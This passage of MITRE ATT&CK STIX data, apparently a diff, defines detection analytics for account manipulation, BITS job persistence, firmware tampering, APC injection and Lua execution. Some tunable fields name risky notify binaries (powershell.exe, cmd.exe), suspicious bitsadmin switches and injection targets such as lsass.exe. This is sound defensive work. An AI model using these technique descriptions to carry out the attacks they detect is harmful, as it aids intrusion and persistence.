"x-mitre-analytic--842ba5ee-dcd0-42bd-9ef8-867a4ab1c703", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0265", + "external_id": "AN0265" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0265", + "description": "Account attribute changes (e.g., password set, group membership, servicePrincipalName, logon hours) correlated with unusual process lineage or timing, indicating privilege escalation or persistence via valid accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "WinEventLog:Security", + "channel": "EventCode=4738, 4728, 4670" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time between suspicious process and account change (e.g., 5m)." + }, + { + "field": "HighPrivilegeGroupList", + "description": "Customize group list (e.g., Domain Admins, Enterprise Admins) to monitor." + }, + { + "field": "SubjectTargetMismatch", + "description": "Flag if account modifier != modified user (potential hijack)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0eb6cf59-4ba8-4cea-b64a-686ce7c69f70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0266", + "external_id": "AN0266" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0266", + "description": "Use of native tools or scripting (e.g., `usermod`, `passwd`, `groupmod`) to escalate permissions or persist access on existing users, correlated with login or process events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "auditd:SYSCALL", + "channel": "usermod, groupmod, passwd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:PATH", + "channel": "/etc/passwd or /etc/group file write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SudoPath", + "description": "Common sudo or privilege escalation paths (e.g., `/usr/bin/passwd`)." + }, + { + "field": "ModifiedShellList", + "description": "Detect if user shell is changed to unusual one (e.g., /bin/sh -> /bin/bash)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--616ccbf4-08f2-4b54-8e41-a8e362e31827", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0267", + "external_id": "AN0267" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0267", + "description": "Modifications to user accounts via `dscl`, `pwpolicy`, or System Preferences CLI (`sysadminctl`) that alter user groups, enable root, or bypass MDM restrictions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "macos:unifiedlog", + "channel": "com.apple.accountsd, com.apple.opendirectoryd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ModifiedUserList", + "description": "Track known non-system user UIDs or service accounts." + }, + { + "field": "GroupMembershipChanges", + "description": "List of sensitive groups (admin, _developer, _analyticsd)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5c69f3b9-8f73-455e-8eb1-5281cd6ce6d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0268", + "external_id": "AN0268" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0268", + "description": "Modifications to SSO/SAML user attributes (e.g., `isAdmin`, `role`, MFA bypass, App assignments) often through CLI, API, or rogue IdP apps.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "saas:okta", + "channel": "User Attribute Modified / Role Assignment Changed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RoleAssignmentBaseline", + "description": "Expected user-role pairings per app or org unit." + }, + { + "field": "APIUsageContext", + "description": "Caller identity or IP address ranges for identity admin actions." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--74565d24-df58-49b6-86e0-01a03d6dc2a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0269", + "external_id": "AN0269" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0269", + "description": "Addition of new users or changes to role permissions (e.g., ReadOnly -> Admin) via API or vSphere Client, particularly from non-jumpbox IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "esxi:vpxa", + "channel": "vim.SessionManager.login / vim.AccountManager.createUser" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMAdminAccountName", + "description": "Expected account name patterns for ESXi/vCenter admins." + }, + { + "field": "NetworkAccessLocation", + "description": "Expected IPs/subnets for legitimate ESXi access." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb4a55f0-eff2-40f8-912e-43ba7e34603c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0096#AN0270", + "external_id": "AN0270" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0270", + "description": "Role escalation (e.g., Editor \u2192 Owner) in cloud collaboration tools (Google Workspace, O365) or file sharing apps to maintain elevated access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "Admin Activity > Role Change or Sharing Change" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SharingSensitivityLabel", + "description": "Threshold for labeling sensitive document access escalation." + }, + { + "field": "CrossOrgChanges", + "description": "Track changes made across organizational boundaries (e.g., guest users)." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c76d69b2-f1d4-4867-965b-886b6caf95be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0097#AN0271", + "external_id": "AN0271" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0271", + "description": "Processes using Win32 API calls (e.g., EnumWindows, GetForegroundWindow) or scripting tools (e.g., PowerShell, VBScript) to enumerate open windows. These often appear with reconnaissance or data collection TTPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessedFunction", + "description": "Tune to focus on suspicious function calls (e.g., user32.dll!EnumWindows)." + }, + { + "field": "UserContext", + "description": "Detect behavior from non-interactive or low-privileged users where enumeration is uncommon." + }, + { + "field": "TimeWindow", + "description": "Shorten detection scope to rapid successive window enumeration attempts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--557d1a5d-31ae-4600-b4ed-a456d9964a83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0097#AN0272", + "external_id": "AN0272" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0272", + "description": "Scripted or binary usage of X11 utilities (e.g., xdotool, wmctrl) or direct /proc/*/window mappings to discover open GUI windows and active desktops.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linus:syslog", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableName", + "description": "Common window management utilities can be tuned to reduce noise (e.g., xprop, xwininfo)." + }, + { + "field": "DisplayContext", + "description": "Restrict detection to processes executing under graphical sessions (e.g., DISPLAY=:0)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a31400ee-ac3e-408e-aa4d-fb2b470142ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0097#AN0273", + "external_id": "AN0273" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0273", + "description": "Processes that utilize AppleScript, `CGWindowListCopyWindowInfo`, or `NSRunningApplication` APIs to list active application windows and foreground processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppleScriptTarget", + "description": "Tunable to ignore benign scripting like automation by known apps." + }, + { + "field": "ParentProcess", + "description": "Useful to suppress expected automation processes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6fba9520-c6ce-4a8f-8005-d33546a10406", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0098#AN0274", + "external_id": "AN0274" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0274", + "description": "Behavioral chain: (1) An actor creates or modifies a BITS job via bitsadmin.exe, PowerShell BITS cmdlets, or COM; (2) the job performs HTTP(S)/SMB network transfers while the owning user is logged on; (3) upon job completion/error, BITS launches a notify command (SetNotifyCmdLine) from svchost.exe -k netsvcs -s BITS, often establishing persistence by keeping long-lived jobs. The strategy correlates process creation, command/script telemetry, BITS-Client operational events, and network connections initiated by BITS.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103,4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7036" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window linking job creation, transfer, and notify execution (e.g., 30m\u201324h depending on environment and BITS retry behavior)." + }, + { + "field": "ExpectedUpdateHosts", + "description": "Allow-list of corporate update/CDN endpoints that legitimately use BITS (WSUS, MEMCM, vendor updaters)." + }, + { + "field": "SuspiciousCliSwitches", + "description": "BITSAdmin flags of interest (/transfer, /addfile, /SetNotifyCmdLine, /resume, /setcustomheaders, /setminretrydelay)." + }, + { + "field": "NotifyCmdBlockList", + "description": "Known risky binaries or folders (e.g., %TEMP%\\*.exe, powershell.exe, cmd.exe) used as BITS notify commands." + }, + { + "field": "UserContext", + "description": "Scope by interactive users, service accounts, or high-value targets (admins/servers) to reduce benign noise." + }, + { + "field": "ExternalNetCIDRs", + "description": "Definition of external/non-corp destinations for network correlation." + }, + { + "field": "JobLifetimeThreshold", + "description": "Maximum age or retry count for benign jobs before flagging persistence (e.g., >3 days or retry>20)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--59d44906-a35e-4b0f-ab84-df3bfa6df8f9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0099#AN0275", + "external_id": "AN0275" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0275", + "description": "Unexpected write operations to BIOS/UEFI firmware regions or EFI boot partitions that do not correlate with legitimate vendor firmware updates. API calls or utilities such as fwupdate.exe or vendor flash tools executed from non-administrative or non-IT management accounts. Suspicious raw disk writes targeting System Firmware GUID partitions followed by abnormal reboot sequences.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=9" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedFirmwareUpdateTools", + "description": "Legitimate vendor tools permitted to perform firmware flashing or BIOS updates." + }, + { + "field": "TimeWindow", + "description": "Expected time periods for approved firmware updates, used for correlating suspicious activity outside patch cycles." + }, + { + "field": "KnownGoodFirmwareHashes", + "description": "Baseline hashes of vendor BIOS/UEFI firmware for integrity comparison." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ceb2c722-f9ec-41de-980e-d8848b1cb20c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0099#AN0276", + "external_id": "AN0276" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0276", + "description": "Unauthorized firmware uploads to routers, switches, or firewalls via TFTP/FTP/SCP. Logs showing boot variable or startup image path changes redirecting to non-standard firmware images. Abnormal reboots or firmware rollback attempts following configuration modification events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:config", + "channel": "Boot image path or firmware configuration variable modified outside of maintenance windows" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "networkdevice:runtime", + "channel": "Firmware image uploaded via TFTP/FTP/SCP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedFirmwareHashes", + "description": "Known good firmware image hashes stored for validation." + }, + { + "field": "MaintenanceWindows", + "description": "Expected time periods when firmware uploads or reboots are considered normal." + }, + { + "field": "SourceIPWhitelist", + "description": "List of trusted management IPs allowed to initiate firmware uploads." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f0fce510-b195-4688-a4ac-b78584febd08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0100#AN0277", + "external_id": "AN0277" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0277", + "description": "Detects malicious injection behavior involving memory allocation, remote thread queuing via APC (e.g., QueueUserAPC), and altered thread context within another live process to execute unauthorized code under legitimate context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "APCQueueOperations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APCTargetProcessList", + "description": "Processes that are rarely or never valid targets for legitimate APC queuing (e.g., lsass.exe, winlogon.exe)" + }, + { + "field": "ThreadQueueDepthThreshold", + "description": "The number of APCs queued within a short time window that could signal abuse" + }, + { + "field": "TimeWindow", + "description": "Expected latency between memory allocation and thread execution through APC" + }, + { + "field": "UserContextSensitivity", + "description": "Used to filter based on expected vs unexpected user to target process pairings" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b3ea7945-a7ef-421c-be84-af86b2b95ae5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0101#AN0278", + "external_id": "AN0278" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0278", + "description": "Detects execution of Lua interpreters or scripts (.lua), especially when correlated with suspicious parent processes or file drop events, indicating malicious use of embedded scripting.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "May vary depending on delivery vector (e.g., explorer.exe, cmd.exe, rundll32.exe)" + }, + { + "field": "TimeWindow", + "description": "Used to correlate file drop and execution of Lua scripts in close succession." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f8e77c9a-2b8c-47d2-b44a-23857d246016", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0101#AN0279", + "external_id": "AN0279" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0279", + "description": "Detects invocation of lua or luajit interpreters by users or services outside of expected packages, chained with script drop or memory artifacts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutablePath", + "description": "Lua interpreter path may vary based on distro or adversary staging." + }, + { + "field": "UserContext", + "description": "May need to exclude service or admin accounts that use Lua legitimately." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4b53b71f-16b4-483b-b64a-eacf6c9db077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0101#AN0280", + "external_id": "AN0280" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0280", + "description": "Detects Lua script execution via native or 3rd party interpreters, chained with unsigned binaries or unexpected parent lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Adjustable based on system activity patterns (e.g., Terminal vs GUI)" + }, + { + "field": "SignatureStatus", + "description": "Helps filter unsigned or self-signed Lua payloads." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--755fb4b5-903f-4694-b591-04078afa27aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0101#AN0281", + "external_id": "AN0281" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0281", + "description": "Detects embedded Lua interpreter execution or script injection on devices supporting Lua scripting (e.g., routers, firewalls), often seen in modified firmware or abused APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": 